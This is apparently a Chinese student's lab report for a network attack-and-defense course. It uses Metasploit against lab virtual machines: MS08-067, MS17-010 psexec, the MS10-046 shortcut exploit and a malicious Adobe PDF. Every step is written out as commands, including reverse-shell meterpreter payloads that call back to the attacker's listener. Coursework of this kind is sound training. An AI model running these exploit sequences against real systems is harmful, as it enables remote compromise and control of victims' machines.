2018-2019-2 网络对抗技术 20165322 Exp5 MSF基础应用

实验内容与步骤

一个主动攻击实践

MS08-067（失败）

实验环境：
- 靶机：Windows xp sp3 中文版
- 漏洞：exploit/windows/smb/ms08_067_netapi
- 载荷：generic/shell_reverse_tcp
选择了MS08-067安全漏洞msf > use exploit/windows/smb/ms08_067_netapi
输入show targets可以查看包含该漏洞的系统靶机（基本上都不会成功呢）
输入show payloads可以查看该漏洞可生成的payload类型
接着进行设置

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //设置攻击载荷
msf exploit(ms08_067_netapi) > set LHOST 192.168.132.137 //kali的ip
msf exploit(ms08_067_netapi) > set LPORT 5322 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.132.136 //Windows XP机ip，特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型，匹配度较高
msf exploit(ms08_067_netapi) > exploit //探测并攻击

emmm好吧……失败了。目前可以成功的靶机有Windows xp sp3英文版和win server2k，我这个中文版的估计打过补丁攻不进去了T^T

返回目录

ms17_010_psexec(成功且唯一)

实验环境：
- 靶机：Windows Server 2003 sp2
- 漏洞：windows/smb/ms17_010_psexec(唯一)（这个漏洞针对的主要是win2003的靶机，xp和win7试过了都不行）
- 载荷：windows/meterpreter/reverse_tcp
打开控制台msfconsole
输入help search查看搜索目标漏洞的格式
比如说我想找一个2017年发布的、以exploit为目的、靶机系统为Windows的漏洞，那我就输入search cve:2017 type:exploit platform:Windows
好多同学用了永恒之蓝成功了，我找个它隔壁的吧……就决定是你啦windows/smb/ms17_010_psexec。不过不要着急use它，我们还需要搜索一下靶机可用的管道名。
首先利用use scanner/smb/pipe_auditor模块扫描目标网段主机可用的管道名
设置靶机地址set rhost 192.168.132.140
设置20个线程set threads 20
运行一下run
可以看到有以下管道可用
back退出一下，可以开始准备攻击了
选择一个漏洞use windows/smb/ms17_010_psexec
然后输入info查看它的详细信息
输入show payloads查看载荷
设置攻击载荷set payload windows/meterpreter/reverse_tcp
输入show options查看要设置的信息
设置靶机地址set rhost 192.168.132.140
设置靶机端口号set rport 445(这里一定要是445，它开放的端口才行！！)
设置要利用的管道名set NAMEDPIPE netlogon
开始攻击run
攻击成功（激动）
参考资料

返回目录

一个针对浏览器的攻击

实验环境：
- 靶机：Windows 7 x64 + IE8
- 漏洞：exploit/windows/smb/ms10_046_shortcut_icon_dllloader
- 载荷：windows/meterpreter/reverse_tcp
search ms10-046 看看该漏洞的其他exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader使用漏洞
show payloads显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp选择攻击载荷
show options 查看配置信息
set LHOST 192.168.132.137 设置监听地址
set SRVHOST 192.168.132.137设置本地收听地址
set RHOSTS 192.168.132.136 设置靶机地址
exploit开始攻击
将/root/.msf4/local/msf.lnk共享到win7虚拟机中，然后双击，即可在kail监听到，输入sessions查看当前会话
输入sessions -i 1即可选择第一个会话，攻击成功

返回目录

一个针对客户端的攻击

实验环境：
- 靶机：Windows XP
- 漏洞：windows/fileformat/adobe_cooltype_sing
- 载荷：windows/meterpreter/reverse_tcp
search adobe查找软件漏洞
use windows/fileformat/adobe_cooltype_sing使用漏洞
show options查看要设置的项
set payload windows/meterpreter/reverse_tcp选择攻击载荷
set LHOST 192.168.132.137 攻击者地址
set LPORT 5322不要选择默认的4444端口，我第一次做的时候后面的操作报错：本机IP地址无法与4444端口绑定
set FILENAME 20165322.pdf 设置生成pdf文件的文件名
run生成攻击文件
将生成的pdf文件导入win xp（被攻击主机）下
kail中输入back退出当前模块，进入监听模块
use exploit/multi/handler 进入监听模块
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
set LHOST 192.168.132.137 设置攻击者地址
set LPORT 5322这里要设置与上方一样的端口号，以保证成功连接上文件。
exploit 攻击
在靶机中打开pdf文件，在kali中输入指令ipconfig,攻击成功